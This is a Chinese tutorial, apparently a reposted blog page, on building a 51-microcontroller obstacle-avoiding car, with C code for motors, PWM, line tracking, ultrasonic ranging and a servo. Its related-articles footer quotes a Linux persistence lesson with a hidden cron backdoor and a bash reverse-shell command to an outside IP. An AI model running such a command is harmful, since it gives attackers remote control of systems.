避障小车—51单片机

一、小车底盘组装

根据视频的安装步骤安装

二、 电机模块开发

2.1 L9110s概述

接通VCC,GND 模块电源指示灯亮, 以下资料来源官方,但是不对,根据下节课实际调试

IA1输入高电平,IA1输入低电平,【OA1 OB1】电机正转; 倒退

IA1输入低电平,IA1输入高电平,【OA1 OB1】电机反转; 前进

IA2输入高电平,IA2输入低电平,【OA2 OB2】电机正转; 倒退

IA2输入低电平,IA2输入高电平,【OA2 OB2】电机反转; 前进

2.1.1 与C51单片机解法

2.2 让小车动起来

代码看网盘资料,因为分文件编写,不好贴近来,只放核心部分代码

#include "reg52.h"
#include "intrins.h"// 左轮
sbit RightCon1A = P3^2;
sbit RightCon1B = P3^3;// 右轮
sbit LeftCon1A = P3^4;
sbit LeftCon1B = P3^5;void Delay1000ms()		//@11.0592MHz
{unsigned char i, j, k;_nop_();i = 8;j = 1;k = 243;do{do{while (--k);} while (--j);} while (--i);
}void goForward()  //前进
{LeftCon1A = 0;LeftCon1B = 1;RightCon1A = 0;RightCon1B = 1;
}void goRight()    //  右转弯
{LeftCon1A = 0;LeftCon1B = 1;RightCon1A = 0;RightCon1B = 0;
}void goLeft()     //  左转弯
{LeftCon1A = 0;LeftCon1B = 0;RightCon1A = 0;RightCon1B = 1;
}void goBack()  // 倒退
{LeftCon1A = 1;LeftCon1B = 0;RightCon1A = 1;RightCon1B = 0;
}void main()
{while(1){goForward();       	 //	前进Delay1000ms();Delay1000ms();goBack();			//  倒退Delay1000ms();Delay1000ms();goLeft();           //  左转弯Delay1000ms();Delay1000ms();goRight();          //  右转弯Delay1000ms();Delay1000ms();}
}
2.2.1 串口控制小车方向

1. 串口分文件编程进行代码整合——具体过程看课程,主要考验C语言功底和代码调试能力,通过现象来改代码

2. 接入蓝牙模块,通过蓝牙控制小车,实现6.6.1的课程需求,蓝牙透传太容易了。

3. 添加点动控制,如果APP支持按下一直发数据,松开就停止发数据(蓝牙调试助手的自定义按键不能实现),就能实现前进按键按下后小车一直往前走的功能

#include "reg52.h"
#include "motor.h"
#include "string.h"
#include "delay.h"
sbit D5 = P3^7;
#define SIZE 12sfr AUXR = 0x8E;
char buffer[SIZE];void UartInit(void)		//9600bps@11.0592MHz
{AUXR = 0x01;SCON = 0x50; //配置串口工作方式1,REN使能接收TMOD &= 0x0F;TMOD |= 0x20;//定时器1工作方式位8位自动重装TH1 = 0xFD;TL1 = 0xFD;//9600波特率的初值TR1 = 1;//启动定时器EA = 1;//开启总中断ES = 1;//开启串口中断
}//M1qian  M2 hou M3 zuo  M4 you
void Uart_Handler() interrupt 4
{static int i = 0;//静态变量,被初始化一次char tmp;if(RI)//中断处理函数中,对于接收中断的响应{RI = 0;//清除接收中断标志位tmp = SBUF;if(tmp == 'M'){i = 0;}buffer[i++] = tmp;//灯控指令if(buffer[0] == 'M'){switch(buffer[1]){case '1':goForward();Delay10ms();break;case '2':goBack();Delay10ms();break;case '3':goLeft();Delay10ms();break;case '4':goRight();Delay10ms();break;default:stop();break;}}if(i == 12) {memset(buffer, '\0', SIZE);i = 0;}}}
2.3 如何进行小车PWM调速

原理: 全速前进是LeftCon1A = 0; LeftCon1B = 1;完全停止是LeftCon1A = 0;LeftCon1B = 0;那么单位时间内,比如20ms, 有15ms是全速前进,5ms是完全停止, 速度就会比5ms全速前进,15ms完全停止获得的功率多,相应的速度更快!

开发:借用PWM的舵机控制代码

#include "motor.h"
#include "reg52.h"char speed;
char cnt = 0;void Time0Init()
{//1. 配置定时器0工作模式位16位计时TMOD = 0x01;//2. 给初值,定一个0.5出来TL0=0x33;TH0=0xFE;//3. 开始计时TR0 = 1;TF0 = 0;//4. 打开定时器0中断ET0 = 1;//5. 打开总中断EAEA = 1;
}void Time0Handler() interrupt 1
{cnt++;  //统计爆表的次数. cnt=1的时候,报表了1//重新给初值TL0=0x33;TH0=0xFE;//控制PWM波if(cnt < speed){//前进goForward();}else{//停止stop();}if(cnt == 40){//爆表40次,经过了20mscnt = 0;  //当40次表示20ms,重新让cnt从0开始,计算下一次的20ms}}extern char speed;void main()
{Time0Init();//UartInit();while(1){speed = 10;//10份单位时间全速运行,30份停止,所以慢,20ms是40份的500usDelay1000ms();Delay1000ms();speed = 20;Delay1000ms();Delay1000ms();speed = 40;Delay1000ms();Delay1000ms();}
}
2.3.1 PWM方式实现小车转向

原理: 左轮定时器0调速,右轮定时器1调速,那么左转就是右轮速度大于左轮!

开发:有手就行

#include "motor.h"
#include "reg52.h"char speedLeft;
char cntLeft = 0;char speedRight;
char cntRight = 0;void Time1Init()
{//1. 配置定时器1工作模式位16位计时TMOD &= 0x0F;TMOD |= 0x1 << 4;//2. 给初值,定一个0.5出来TL1=0x33;TH1=0xFE;//3. 开始计时TR1 = 1;TF1 = 0;//4. 打开定时器1中断ET1 = 1;//5. 打开总中断EAEA = 1;
}void Time0Init()
{//1. 配置定时器0工作模式位16位计时TMOD = 0x01;//2. 给初值,定一个0.5出来TL0=0x33;TH0=0xFE;//3. 开始计时TR0 = 1;TF0 = 0;//4. 打开定时器0中断ET0 = 1;//5. 打开总中断EAEA = 1;
}void Time1Handler() interrupt 3
{cntRight++;  //统计爆表的次数. cnt=1的时候,报表了1//重新给初值TL1=0x33;TH1=0xFE;//控制PWM波if(cntRight < speedRight){//右前进goForwardRight();}else{//停止stopRight();}if(cntRight == 40){//爆表40次,经过了20mscntRight = 0;  //当100次表示1s,重新让cnt从0开始,计算下一次的1s}}void Time0Handler() interrupt 1
{cntLeft++;  //统计爆表的次数. cnt=1的时候,报表了1//重新给初值TL0=0x33;TH0=0xFE;//控制PWM波if(cntLeft < speedLeft){//左前进goForwardLeft();}else{//停止stopLeft();}if(cntLeft == 40){//爆表40次,经过了20mscntLeft = 0;  //当100次表示1s,重新让cnt从0开始,计算下一次的1s}}extern char speedLeft;
extern char speedRight;void main()
{Time0Init();Time1Init();//UartInit();while(1){speedLeft = 10;//10份单位时间全速运行,30份停止,所以慢,20ms是40份的500usspeedRight = 40;Delay1000ms();Delay1000ms();speedLeft = 40;speedRight = 10;Delay1000ms();Delay1000ms();}
}
2.4 循迹小车
2.4.1 循迹模块使用

TCRT5000传感器的红外发射二极管不断发射红外线

当发射出的红外线没有被反射回来或被反射回来但强度不够大时,

红外接收管一直处于关断状态,此时模块的输出端为高电平,指示二极管一直处于熄灭状态

被检测物体出现在检测范围内时,红外线被反射回来且强度足够大,红外接收管饱和,

此时模块的输出端为低电平,指示二极管被点亮

总结就是一句话,没反射回来,D0输出高电平,灭灯

  • 接线方式
    • VCC:接电源正极(3-5V)
    • GND:接电源负极
    • DO:TTL开关信号输出0、1
    • AO:模拟信号输出(不同距离输出不同的电压,此脚一般可以不接)

6.3.2 循迹小车原理

由于黑色具有较强的吸收能力,当循迹模块发射的红外线照射到黑线时,红外线将会被黑线吸收,导致

循迹模块上光敏三极管处于关闭状态,此时模块上一个LED熄灭。在没有检测到黑线时,模块上两个LED

常亮

总结就是一句话,有感应到黑线,D0输出高电平 ,灭灯

循迹模块安装在小车车头两侧下方小车两个模块都能反射回来红外,输出低电平,灯亮,直走

上方小车左模块遇到黑线,红外被吸收,左模块输出高电平,右模块输出低电平,左转,反之右转

  • 代码实现
#include "motor.h"
#include "delay.h"
#include "reg52.h"sbit leftSensor = P2^7;
sbit rightSensor = P2^6;void main()
{//下方小车两个模块都能反射回来红外,输出低电平,灯亮,直走//上方小车左模块遇到黑线,红外被吸收,左模块输出高电平,右模块输出低电平,左转,反之右转while(1){if(leftSensor == 0 && rightSensor == 0){goForward();  // q前进}if(leftSensor == 1 && rightSensor == 0){goLeft();          // 左转}if(leftSensor == 0 && rightSensor == 1){goRight(); 			// 右转}if(leftSensor == 1 && rightSensor == 1){//停stop();           }}
}

修改BUG

防止小车跑车赛道

#include "motor.h"
#include "delay.h"
#include "uart.h"
#include "time.h"
#include "reg52.h"
extern char speedLeft;
extern char speedRight;sbit leftSensor = P2^7;
sbit rightSensor = P2^6;void main()
{Time0Init();    //  中断器Time1Init();//UartInit();while(1){if(leftSensor == 0 && rightSensor == 0){speedLeft = 32;speedRight = 40;}if(leftSensor == 1 && rightSensor == 0){speedLeft = 12;//10份单位时间全速运行,30份停止,所以慢,20ms是40份的500usspeedRight = 40;}if(leftSensor == 0 && rightSensor == 1){speedLeft = 32;speedRight = 20;}if(leftSensor == 1 && rightSensor == 1){//停speedLeft = 0;speedRight = 0;}}
}
2.5 跟随小车/壁障小车
2.5.1 红外壁障模块分析

原理和寻线是一样的,寻线红外观朝下,跟随朝前

6.4.2 跟随小车的原理

左边跟随模块能返回红外,输出低电平,右边不能返回,输出高电平,说明物体在左边,需要左转

右边跟随模块能返回红外,输出低电平,左边不能返回,输出高电平,说明物体在右边,需要右转

6.4.3 跟随小车开发和调试

有手就行,哈哈

  • 代码实现
#include "motor.h"
#include "delay.h"
#include "reg52.h"//sbit leftSensor = P2^7;
//sbit rightSensor = P2^6;sbit leftSensor = P2^5;
sbit rightSensor = P2^4;void main()
{while(1){if(leftSensor == 0 && rightSensor == 0){goForward();}if(leftSensor == 1 && rightSensor == 0){goRight();}if(leftSensor == 0 && rightSensor == 1){goLeft();}if(leftSensor == 1 && rightSensor == 1){//停stop();}}
}
6.4.4 超声波避障小车
1. 超声波代码模块

超声波测距模块是用来测量距离的一种产品,通过发送和收超声波,利用时间差和声音传播速度, 计算出模块到前方障碍物的距离。

    • 怎么让它发送波

Trig ,给Trig端口至少10us的高电平

    • 怎么知道它开始发了

Echo信号,由低电平跳转到高电平,表示开始发送波

    • 怎么知道接收了返回波

Echo,由高电平跳转回低电平,表示波回来了

    • 怎么算时间

Echo引脚维持高电平的时间!

波发出去的那一下,开始启动定时器

波回来的拿一下,我们开始停止定时器,计算出中间经过多少时间

    • 怎么算距离

距离 = 速度 (340m/s)* 时间/2

  • 超声波的时序图

  • 代码实现
#include "reg52.h"
#include "delay.h"sbit Trig     = P1^3;
sbit Echo     = P1^2;void Time1Init()
{	TMOD &= 0x0F;		//设置定时器模式TMOD |= 0x10;TH1 = 0;TL1 = 0;//设置定时器0工作模式1,初始值设定0开始数数,不着急启动定时器
}void startHC()
{Trig = 0;Trig = 1;Delay10us();Trig = 0;
}double get_distance()
{double time;//定时器数据清零,以便下一次测距TH1 = 0;TL1 = 0;//1. Trig ,给Trig端口至少10us的高电平startHC();//2. echo由低电平跳转到高电平,表示开始发送波while(Echo == 0);//波发出去的那一下,开始启动定时器TR1 = 1;//3. 由高电平跳转回低电平,表示波回来了while(Echo == 1);//波回来的那一下,我们开始停止定时器TR1 = 0;//4. 计算出中间经过多少时间time = (TH1 * 256 + TL1)*1.085;//us为单位//5. 距离 = 速度 (340m/s)* 时间/2return  (time * 0.017);
}

2. sg90舵机代码模块
  • 怎么控制舵机

向黄色信号线“灌入”PWM信号。

PWM波的频率不能太高,大约50HZ,即周期=1/频率=1/50=0.02s,20ms左右

数据:

0.5ms-------------0度; 2.5% 对应函数中占空比为250

1.0ms------------45度; 5.0% 对应函数中占空比为500

1.5ms------------90度; 7.5% 对应函数中占空比为750

2.0ms-----------135度; 10.0% 对应函数中占空比为1000

2.5ms-----------180度; 12.5% 对应函数中占空比为1250

定时器需要定时20ms, 关心的单位0.5ms, 40个的0.5ms,初值0.5m cnt++

1s = 10ms * 100

20ms = 0.5ms * 40

  • 编程实现

#include "reg52.h"
#include "delay.h"sbit sg90_con = P1^1;int jd;
int cnt = 0;void Time0Init()
{//1. 配置定时器0工作模式位16位计时TMOD &= 0xF0;		//设置定时器模式TMOD |= 0x01;//2. 给初值,定一个0.5出来TL0=0x33;TH0=0xFE;//3. 开始计时TR0 = 1;TF0 = 0;//4. 打开定时器0中断ET0 = 1;//5. 打开总中断EAEA = 1;
}void sgMiddle()
{//中间位置jd = 3; //90度 1.5ms高电平cnt = 0;
}void sgLeft()
{//左边位置jd = 5; //135度 1.5ms高电平cnt = 0;
}void sgRight()
{//右边位置jd = 1; //0度cnt = 0;
}void Time0Handler() interrupt 1
{cnt++;  //统计爆表的次数. cnt=1的时候,报表了1//重新给初值TL0=0x33;TH0=0xFE;//控制PWM波if(cnt < jd){sg90_con = 1;}else{sg90_con = 0;}if(cnt == 40){//爆表40次,经过了20mscnt = 0;  //当100次表示1s,重新让cnt从0开始,计算下一次的1ssg90_con = 1;}}
3. mian函数组合调用
#include "reg52.h"
#include "hc04.h"
#include "delay.h"
#include "sg90.h"void main()
{Time0Init();Time1Init();//舵机的初始位置sgMiddle();Delay300ms();Delay300ms();while(1){sgLeft();    //  左摇头Delay440ms();sgMiddle();   // 回正Delay430ms();sgRight();   //  右摇头Delay420ms();sgMiddle();  // 回正Delay450ms();}
}
4. 测距摇头实现
#include "reg52.h"
#include "hc04.h"
#include "delay.h"
#include "sg90.h"#define MIDDLE 0
#define LEFT 1
#define RIGHT 2void main()
{char dir;   // 方向变量double disMiddle;  // 中间距离double disLeft;		// 左间距离double disRight;	// 右间距离Time0Init();Time1Init();//舵机的初始位置sgMiddle();Delay300ms();Delay300ms();dir = MIDDLE;while(1){if(dir != MIDDLE){    // 保持测完左右间距之后,回到中间值sgMiddle();dir = MIDDLE;Delay300ms();}disMiddle = get_distance();     // 超声波测距if(disMiddle > 35){  // 如果中间的距离大于了35cm;就前进//前进}else								// 如果前方的距离小于了35cm;就停止{ 		//停止//测左边距离sgLeft();Delay300ms();disLeft = get_distance();sgMiddle();    //  测中间距离Delay300ms();sgRight();   //  测右间距离dir = RIGHT;Delay300ms();disRight = get_distance();}}
}

main函数先调用两个定时器(超声波与sg90舵机定时器);22行至25行代码。将超声波模块保持正前方向之后,进入while循环语句,先进入第一个if语句判断超声波方向,如果超声波方向不在正中间,将其回正之后,将超声波测量的距离,赋值给第二个if语句,进去判断,如何距离大于35cm,小车前进,如果距离不大于35,超声波通过sg90舵机,进行左右测距,测出35cm内无障碍之后,进行前进。

  • 下面是加上电机驱动的代码,让小车跑起来
#include "reg52.h"  // 包含寄存器定义头文件
#include "hc04.h"   // 包含超声波传感器(HC-SR04)头文件
#include "delay.h"  // 包含延时函数头文件
#include "sg90.h"   // 包含舵机(SG90)头文件
#include "motor.h"  // 包含电机控制头文件#define MIDDLE 0   // 定义舵机的中间位置为 0
#define LEFT 1     // 定义舵机的左边位置为 1
#define RIGHT 2    // 定义舵机的右边位置为 2void main()
{char dir;  // 定义舵机的当前方向变量double disMiddle;  // 定义前方的距离变量double disLeft;    // 定义左方的距离变量double disRight;   // 定义右方的距离变量Time0Init();  // 初始化定时器0Time1Init();  // 初始化定时器1// 舵机的初始位置设为中间位置sgMiddle();Delay300ms();  // 延时300毫秒Delay300ms();  // 再延时300毫秒dir = MIDDLE;  // 将舵机方向变量设置为中间位置while(1){  // 无限循环,控制主逻辑if(dir != MIDDLE){  // 如果当前方向不是中间sgMiddle();  // 将舵机调整到中间位置dir = MIDDLE;  // 更新方向变量为中间Delay300ms();  // 延时300毫秒}disMiddle = get_distance();  // 获取前方距离if(disMiddle > 35){  // 如果前方距离大于35goForward();  // 向前移动}else if(disMiddle < 10){  // 如果前方距离小于10goBack();  // 向后移动Delay150ms();  // 延时150毫秒stop();  // 停止移动}else{// 停止移动stop();// 测量左边的距离sgLeft();Delay300ms();  // 延时300毫秒disLeft = get_distance();  // 获取左边距离sgMiddle();  // 将舵机回到中间位置Delay300ms();  // 延时300毫秒sgRight();  // 将舵机转向右边dir = RIGHT;  // 更新方向变量为右边Delay300ms();  // 延时300毫秒disRight = get_distance();  // 获取右边距离if(disLeft < disRight){  // 如果左边距离小于右边距离goRight();  // 向右移动Delay150ms();  // 延时150毫秒stop();  // 停止移动}if(disRight < disLeft){  // 如果右边距离小于左边距离goLeft();  // 向左移动Delay150ms();  // 延时150毫秒stop();  // 停止移动}}}
}

大家在实际操作中,可根据现场实际情况进行对代码测距的修改。

关于相关代码,si信我即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/420126.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JavaWeb【day11】--(SpringBootWeb案例)

SpringBootWeb案例 前面我们已经实现了员工信息的条件分页查询以及删除操作。 关于员工管理的功能&#xff0c;还有两个需要实现&#xff1a; 新增员工 修改员工 首先我们先完成"新增员工"的功能开发&#xff0c;再完成"修改员工"的功能开发。而在&quo…

PDF样本图册转换为一个链接,随时打开无需印刷

想象一下&#xff0c;您手中有一本厚重的样本图册&#xff0c;里面包含了丰富多样的内容&#xff0c;如产品介绍、项目方案、学术论文等。在过去&#xff0c;您需要逐一翻阅、筛选&#xff0c;甚至为了便于查看&#xff0c;不得不将其印刷出来。如今&#xff0c;借助先进的数字…

机器学习:opencv--图像形态学

目录 前言 一、常用形态学操作 二、腐蚀和膨胀 1.图像腐蚀 2.图形膨胀 三、开运算和闭运算 1.开运算 2.闭运算 四、顶帽和黑帽 1.顶帽 2.黑帽 五、梯度运算 总结 前言 图像形态学是一种用于处理和分析图像形状和结构的技术。 一、常用形态学操作 膨胀&#xff08…

都2024年了还不明白Redis持久化?RDB文件、AOF文件、AOF重写

都2024年了&#xff0c;不会还有人不知道redis的RDB和Aof吧&#xff1f;不知道没关系&#xff0c;看完这篇文章我相信你就会有个大概的了解和认识了 1. Redis持久化 1.1 持久化概念 Redis本身是一个基于内存的数据库&#xff0c;它提供了RDB持久化、AOF持久化两种方式&#…

田纳西州橡树岭全球最快的超级计算机名为Frontier

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

记录深度学习量化操作

0. 简介 深度学习中做量化提升运行速度是最常用的方法&#xff0c;尤其是大模型这类非常吃GPU显存的方法。一般是高精度浮点数表示的网络权值以及激活值用低精度&#xff08;例如8比特定点&#xff09;来近似表示达到模型轻量化&#xff0c;加速深度学习模型推理&#xff0c;目…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一&#xff1a;权限维持-Linux-定时任务-Cron后门 linux的计时任务&#xff0c;配置文件再/etc/crontab下 创建后门文件&#xff0c;这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

[数据集][目标检测]街道乱堆垃圾检测数据集VOC+YOLO格式94张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;94 标注数量(xml文件个数)&#xff1a;94 标注数量(txt文件个数)&#xff1a;94 标注类别数…

联想泄露显示本月推出更便宜的Copilot Plus电脑

联想似乎准备推出新的更实惠的 Copilot Plus 电脑。可靠的爆料者Evan Blass发布了一份来自联想的新闻稿&#xff0c;详细介绍了将在本周晚些时候的IFA展会上宣布的各种Copilot Plus电脑&#xff0c;其中包括两款采用尚未公布的8核高通骁龙X Plus芯片的电脑。 这些新的高通芯片…

【前端】vue+html+js 实现table表格展示,以及分页按钮添加

一. 问题描述 数据条数太多显示到页面上时可能会渲染较慢&#xff0c;因此需要截取数据进行展示。 二. 代码写法 思路&#xff1a;按照上述图示思路&#xff0c;需要有两个数据列表&#xff0c;一个存储的是所有的列表数据&#xff0c;一个存储的是展示的数据列表&#xff0c…

Vue组件:使用$emit()方法监听子组件事件

1、监听自定义事件 父组件通过使用 Prop 为子组件传递数据&#xff0c;但如果子组件要把数据传递回去&#xff0c;就需要使用自定义事件来实现。父组件可以通过 v-on 指令&#xff08;简写形式“”&#xff09;监听子组件实例的自定义事件&#xff0c;而子组件可以通过调用内建…

基于单片机的人脸识别的智能门禁系统设计

文章目录 前言资料获取设计介绍功能介绍设计清单核心代码具体实现截图参考文献设计获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师&#xff0c;一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等…

C/C++ 中的算术运算及其陷阱(详解,举例分析)

在C/C编程中&#xff0c;算术运算是非常基础且常用的操作。然而&#xff0c;这些看似简单的运算背后却隐藏着一些潜在的陷阱&#xff0c;如果不加以注意&#xff0c;可能会导致程序出现难以预料的错误。本文将探讨C/C中常见的算术运算及其潜在的陷阱&#xff0c;并通过实例进行…

大数据技术体系架构

数据源 社交媒体平台 云平台 网站资源 物联网&#xff08;IOT&#xff09; 数据库 特点 分布式 数据源一般分布在不同的设备上&#xff0c;这些设备通常由网络连接在一起&#xff0c;网络空间的安全及其重要&#xff1b; 异构性 数据的来源广泛&#xff0c;比如社交媒…

一台手机一个ip地址吗?手机ip地址泄露了怎么办

在数字化时代&#xff0c;‌手机作为我们日常生活中不可或缺的一部分&#xff0c;‌其网络安全性也日益受到关注。‌其中一个常见的疑问便是&#xff1a;‌“一台手机是否对应一个固定的IP地址&#xff1f;‌”实际上&#xff0c;‌情况并非如此简单。‌本文首先解答这一问题&a…

RTX AI PC 和工作站上部署多样化 AI 应用支持 Multi-LoRA

今天的大型语言模型&#xff08;LLMs&#xff09;在许多用例中都取得了前所未有的成果。然而&#xff0c;由于基础模型的通用性&#xff0c;应用程序开发者通常需要定制和调整这些模型&#xff0c;以便专门针对其用例开展工作。 完全微调需要大量数据和计算基础设施&#xff0…

os模块函数

1、常用命令 os.getcwd() 返回当前工作目录 os.listdir() 返回指定文件路径下的文件夹列表或者文件列表 os.mkdir 创建文件夹,不能创建递归文件夹,也就是上一层文件夹必须存在,不存在时会报错,同时在指定目录下有相同的文件夹名称,再创建会报错 os.makedirs 可以创建…

Hash Table、HashMap、HashSet学习

文章目录 前言Hash Table&#xff08;散列表&#xff09;基本概念散列函数散列冲突&#xff08;哈希碰撞&#xff09;拉链法红黑树时间复杂度分析 HashMap基础方法使用基本的增删改查其他的方法 实现原理 HashSet基础操作去重原理 前言 本文用于介绍关于Hash Table、HashMap、…

图像去噪技术:传统中值滤波与改进中值滤波算法的比较

在数字图像处理中&#xff0c;去噪是一个至关重要的步骤&#xff0c;尤其是在图像受到椒盐噪声影响时。本文将介绍一种改进的中值滤波算法&#xff0c;并与传统的中值滤波算法进行比较&#xff0c;以展示其在去除椒盐噪声方面的有效性。 实验环境 软件&#xff1a;MATLAB图像…

基于Java+SpringBoot+Vue+MySQL的西安旅游管理系统网站

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 基于SpringBootVue的西安旅游管理系统网站【附源码文档】、…